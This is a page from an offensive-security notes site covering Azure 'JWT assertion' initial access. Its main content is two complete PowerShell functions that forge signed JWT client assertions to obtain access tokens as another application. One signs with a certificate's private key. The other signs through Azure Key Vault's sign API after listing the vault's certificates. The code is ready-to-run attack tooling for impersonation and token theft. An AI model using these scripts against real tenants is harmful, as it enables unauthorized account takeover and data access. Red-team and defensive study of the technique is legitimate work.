RFC - Offensive Security Notes
  • Active Directory
    • Enumeration
      • Active Directory Module
        • Enumerating the Domain
        • Enumerating ACLs
      • PowerView 3.0
      • Verify connectivity to domain controller
      • WMI domain enumeration through root\directory\ldap
      • PAM Trust
      • DNS discovery
        • Get-DnsServerZone
    • Privilege Escalation
      • Kerberos Delegation
        • Unconstrained delegation
        • Constrained delegation
        • Resource-based Constrained Delegation
      • Escalating from child to parent domain
      • Abusing inter-forest trust
      • WSUS server abuse
      • ACL Enumeration with PowerView 2.0
    • Persistence
      • Kerberos attacks
        • Golden ticket
        • Silver ticket
      • DSRM (Directory Services Restore Mode)
  • Initial Access
    • VBA Macros
      • Mark-of-the-Web
  • Discovery
    • Juicy files
      • PowerShell history
    • Network Enumeration
      • Network discovery scans
        • Ping scan
      • Nmap
      • Perimeter firewall scanning for open outbound ports
  • Execution
    • WMI
      • Remote code execution using WMI
    • PowerShell
      • C# assembly in PowerShell
        • List load assembly
        • Add-Type
        • UnsafeNativeMethods
        • DelegateType Reflection
        • Reflective Load
    • C# .Net Assembly
      • Process injection
        • Debugging
        • Using VirtualAllocEx and WriteProcessMemory
        • Using NTAPI Undocumented Functions
    • ReverseShells
      • Linux
        • Stabilizing zsh shell
    • Metasploit
      • HTTPs Meterpreter
  • Exploitation
    • Win32 APIs
      • OpenProcess
      • VirtualAllocEx
      • WriteProcessMemory
      • CreateRemoteThread
  • Credential Access
    • Microsoft Windows
      • Windows credential audit and logon types
      • Local credentials (SAM and LSA)
      • Lsass from forensics dump
      • Access Tokens
        • SeImpersonatePrivilege
      • ntds.dit
        • Dumping the contents of ntds.dit files using PowerShell
      • Mimikatz
      • LAPS
  • Lateral Movement
    • Windows Lateral Movement
      • Remote Desktop Protocol (RDP)
      • PowerShell Remoting (PS Remote)
        • Kerberos double hoping
      • Windows Task Scheduler
    • Linux Lateral Movement
  • Persistence
  • Defence Evasion
    • Antimalware Scan Interface (AMSI)
      • Debugging AMSI with Frida
      • PowerShell Bypasses
      • JS/VBA Bypasses
    • PowerShell
      • PowerShell version 2
      • Constrained Language Mode
      • Just Enough Administration (JEA)
      • ScriptBlockLogging
    • Microsoft Defender
    • Anti-virus evasion
      • Evasion and bypassing detection within C#
        • Encryptors
          • Aes encryptor
        • Sandbox evasion
          • Time accelerated checks
    • AppLocker
      • InstallUtil
      • MsBuild
  • Network Pivoting
    • Proxies and port fowarding
      • SSH
      • Metasploit
      • Socat
      • SSH Shuttle
      • Windows netsh command
    • Network discovery and scanning
  • Exfiltration
    • Windows
      • Copy files over SMB
  • Services
    • MS SQL Server
      • Enumeration
      • UNC Path Injection
      • Privilege Escalation
      • Linked Servers
      • SQL Injection
  • Misc
    • CrackMapExec
    • Cheat sheets
  • Cloud
    • Azure
      • Authentication
      • Enumeration
        • AzureHound
        • Az.Powershell
      • Initial Access
        • Device Code Phishing
        • Family-Of-Client-Ids - FOCI
        • JWT Assertion
Powered by GitBook
On this page
  • Requesting Tokens
  • Manually request token with certificate
  • Signing JWT's with Azure Key Vault
  1. Cloud
  2. Azure
  3. Initial Access

JWT Assertion

An attacker with data permission to sign on a certificate that belongs to another identity in a tenant can sign JWT tokens and fetch ARM access tokens as that identity.

Requesting Tokens

Manually request token with certificate

function Request-AccessTokenCert($ClientCertificate, $TenantId, $ApplicationId, $Scope = "https://graph.microsoft.com/.default") {
    Write-Output "[+] Requesting access token using REST and client certificate"
    Write-Output "[+] Scope: $($Scope)"
    $audience = "https://login.microsoftonline.com/$($TenantId)/oauth2/token"

    # Create a base64 hash of the certificate. The Base64 encoded string must by urlencoded
    $CertificateBase64Hash =
    [System.Convert]::ToBase64String($clientCertificate.GetCertHash())
    $CertificateBase64Hash = $CertificateBase64Hash -replace '\+','-' -replace '/','_' -replace '='

    # JWT request should be valid for max 2 minutes.
    $StartDate = (Get-Date "1970-01-01T00:00:00Z").ToUniversalTime()
    $JWTExpirationTimeSpan = (New-TimeSpan -Start $StartDate -End (Get-Date).ToUniversalTime().AddMinutes(2)).TotalSeconds
    $JWTExpiration = [math]::Round($JWTExpirationTimeSpan,0)

    # Create a NotBefore timestamp.
    $NotBeforeExpirationTimeSpan = (New-TimeSpan -Start $StartDate -End ((Get-Date).ToUniversalTime())).TotalSeconds
    $NotBefore = [math]::Round($NotBeforeExpirationTimeSpan,0)

    # Create JWT header
    $jwtHeader = @{
    'alg' = "RS256" # Use RSA encryption and SHA256 as hashing algorithm
    'typ' = "JWT" # We want a JWT
    'x5t' = $CertificateBase64Hash # Webencoded Base64 of the hash of our certificate
    }

    # Create the payload
    $jwtPayLoad = @{
    'aud' = $audience # Points to oauth token request endpoint for your tenant
    'exp' = $JWTExpiration # Expiration of JWT request
    'iss' = $ApplicationId # The AppID for which we request a token for
    'jti' = [guid]::NewGuid() # Random GUID
    'nbf' = $NotBefore # This should not be used before this timestamp
    'sub' = $ApplicationId # Subject
    }

    # Convert header and payload to json and to base64
    $jwtHeaderBytes = [System.Text.Encoding]::UTF8.GetBytes(($jwtHeader | ConvertTo-Json))
    $jwtPayloadBytes = [System.Text.Encoding]::UTF8.GetBytes(($jwtPayLoad | ConvertTo-Json))
    $b64JwtHeader = [System.Convert]::ToBase64String($jwtHeaderBytes)
    $b64JwtPayload = [System.Convert]::ToBase64String($jwtPayloadBytes)

    # Concat header and payload to create an unsigned JWT

    $unsignedJwt = $b64JwtHeader + "." + $b64JwtPayload
    $unsignedJwtBytes = [System.Text.Encoding]::UTF8.GetBytes($unsignedJwt)

    # Configure RSA padding and hashing algorithm, load private key of certificate and use it to sign the unsigned JWT

    $privateKey = ([System.Security.Cryptography.X509Certificates.RSACertificateExtensions]::GetRSAPrivateKey($clientCertificate))
    $padding = [Security.Cryptography.RSASignaturePadding]::Pkcs1
    $hashAlgorithm = [Security.Cryptography.HashAlgorithmName]::SHA256
    $signedData = $privateKey.SignData($unsignedJwtBytes, $hashAlgorithm, $padding)

    # Create a signed JWT by adding the signature to the unsigned JWT
    $signature = [Convert]::ToBase64String($signedData) -replace '\+','-' -replace '/','_' -replace '='
    $signedJWT = $unsignedJwt + "." + $signature

    # Request an access token using the signed JWT
    $uri = "https://login.microsoftonline.com/$($TenantId)/oauth2/v2.0/token"
    $headers = @{'Content-Type' = 'application/x-www-form-urlencoded'}
    $response = Invoke-RestMethod -Uri $uri -UseBasicParsing -Method POST -Headers $headers -Body ([ordered]@{
    'client_id' = $ApplicationId
    'client_assertion' = $signedJWT
    'client_assertion_type' = 'urn:ietf:params:oauth:client-assertion-type:jwt-bearer'
    'scope' = $Scope
    'grant_type' = 'client_credentials'
    })
    Write-Output "[+] Got token using REST and client certificate: $($response.access_token)"
    Write-Output ""
    return [PSCustomObject]@{
        access_token = $response.access_token
        scope = $Scope
    }
}

Signing JWT's with Azure Key Vault

Using the above access token, we are still forbidden to retrieve the secret.

There is an issue with how the JWTs would be signed in the example above. We are invoking the sign operation to create a signed JWT to request an access token, but in order to do that we need a signed JWT. The web interface for Azure Key Vaults does not support signing data with certificates in the store. And even if it was supported, that means manual interaction which is not ideal either.

Azure AD requires a signed JWT to authenticate — but to sign a JWT, you need a token to access Azure Key Vault. This creates a Catch-22: you can't get a token without a signature, and you can't sign without a token.

function Get-AKVCertificate {
    param (
        [string]$VaultName,
        [string]$VaultCertName,
        [string]$KeyVaultAccessToken
    )

    Write-Output "[+] Getting Key Vault URI"
    $uri = "https://$($VaultName).vault.azure.net/certificates?api-version=7.4"
    $headers = @{ 'Authorization' = "Bearer $KeyVaultAccessToken" }
    $requestParams = @{
        Method      = 'GET'
        Uri         = $uri
        Headers     = $headers
        ContentType = 'application/json'
    }

    $response = Invoke-RestMethod @requestParams
    if ($response -eq $null -or $response.value.Count -eq 0) {
        Write-Output "[!] No certificates found in Key Vault: $VaultName"
        return
    }

    $certificate = $response.value | Where-Object { $_.id -like "*$VaultCertName*" }
    if ($certificate -eq $null) {
        Write-Output "[!] No Key Vault certificate found with name: $VaultCertName"
        return
    }

    Write-Output "[+] Certificate found, retrieving full details"
    $certDetailsUri = "$($certificate.id)?api-version=7.4"
    $certDetails = Invoke-RestMethod -Uri $certDetailsUri -Headers $headers -Method 'GET'

    return $certDetails
}


$AKVCertificate = Get-AKVCertificate -VaultName $KeyVaultName -VaultCertName $KeyVaultCertName -KeyVaultAccessToken $KeyVaultAccessToken

function Request-AccessTokenAKVCert($KeyVaultAccessToken, $TenentId, $ApplicationId, $Scope, $AKVCertificate) {
    $audience = "https://login.microsoftonline.com/$($TenentId)/oauth2/token"

    # JWT request should be valid for max 2 minutes.
    $StartDate             = (Get-Date "1970-01-01T00:00:00Z" ).ToUniversalTime()
    $JWTExpirationTimeSpan = (New-TimeSpan -Start $StartDate -End (Get-Date).ToUniversalTime().AddMinutes(2)).TotalSeconds
    $JWTExpiration         = [math]::Round($JWTExpirationTimeSpan,0)

    # Create a NotBefore timestamp. 
    $NotBeforeExpirationTimeSpan = (New-TimeSpan -Start $StartDate -End ((Get-Date).ToUniversalTime())).TotalSeconds
    $NotBefore                   = [math]::Round($NotBeforeExpirationTimeSpan,0)

    # Create JWT header
    $jwtHeader = @{
        'alg' = "RS256"              # Use RSA encryption and SHA256 as hashing algorithm
        'typ' = "JWT"                # We want a JWT
        'x5t' = $AKVCertificate.x5t  # The pubkey hash we received from Azure Key Vault
    }

    # Create the payload
    $jwtPayLoad = @{
        'aud' = $audience           # Points to oauth token request endpoint for your tenant
        'exp' = $JWTExpiration      # Expiration of JWT request
        'iss' = $ApplicationId    # The AppID for which we request a token for
        'jti' = [guid]::NewGuid()   # Random GUID
        'nbf' = $NotBefore          # This should not be used before this timestamp
        'sub' = $ApplicationId    # Subject
    }

    # Convert header and payload to json and to base64
    $jwtHeaderBytes  = [System.Text.Encoding]::UTF8.GetBytes(($jwtHeader | ConvertTo-Json))
    $jwtPayloadBytes = [System.Text.Encoding]::UTF8.GetBytes(($jwtPayLoad | ConvertTo-Json))
    $b64JwtHeader    = [System.Convert]::ToBase64String($jwtHeaderBytes)
    $b64JwtPayload   = [System.Convert]::ToBase64String($jwtPayloadBytes)

    # Concat header and payload to create an unsigned JWT and compute a Sha256 hash
    $unsignedJwt      = $b64JwtHeader + "." + $b64JwtPayload
    $unsignedJwtBytes = [System.Text.Encoding]::UTF8.GetBytes($unsignedJwt)
    $hasher           = [System.Security.Cryptography.HashAlgorithm]::Create('sha256')
    $jwtSha256Hash    = $hasher.ComputeHash($unsignedJwtBytes)
    $jwtSha256HashB64 = [Convert]::ToBase64String($jwtSha256Hash) -replace '\+','-' -replace '/','_' -replace '='

    # Sign the sha256 of the unsigned JWT using the certificate in Azure Key Vault
    $uri      = "$($AKVCertificate.kid)/sign?api-version=7.3"
    $headers  = @{
        'Authorization' = "Bearer $KeyVaultAccessToken"
        'Content-Type' = 'application/json'
    }
    $response = Invoke-RestMethod -Uri $uri -UseBasicParsing -Method POST -Headers $headers -Body (([ordered] @{
        'alg'   = 'RS256'
        'value' = $jwtSha256HashB64
    }) | ConvertTo-Json)
    $signature = $response.value

    # Concat the signature to the unsigned JWT
    $signedJWT = $unsignedJwt + "." + $signature
    
    # Request an access token using the signed JWT
    $uri      = "https://login.microsoftonline.com/$($TenentId)/oauth2/v2.0/token"
    $headers  = @{'Content-Type' = 'application/x-www-form-urlencoded'}
    $response = Invoke-RestMethod -Uri $uri -UseBasicParsing -Method POST -Headers $headers -Body ([ordered]@{
        'client_id'             = $ApplicationId
        'client_assertion'      = $signedJWT
        'client_assertion_type' = 'urn:ietf:params:oauth:client-assertion-type:jwt-bearer'
        'scope'                 = $Scope
        'grant_type'            = 'client_credentials'
    })
    
    Write-Output "[+] Got token using REST, Azure Keyvault and client certificates: $($response.access_token)"
    Write-Output ""
    return [PSCustomObject]@{
        access_token = $response.access_token
        scope = $Scope
    }
}
PreviousFamily-Of-Client-Ids - FOCI

Last updated 1 day ago

LogoResearching access tokens for fun and knowledgeHunt & Hackett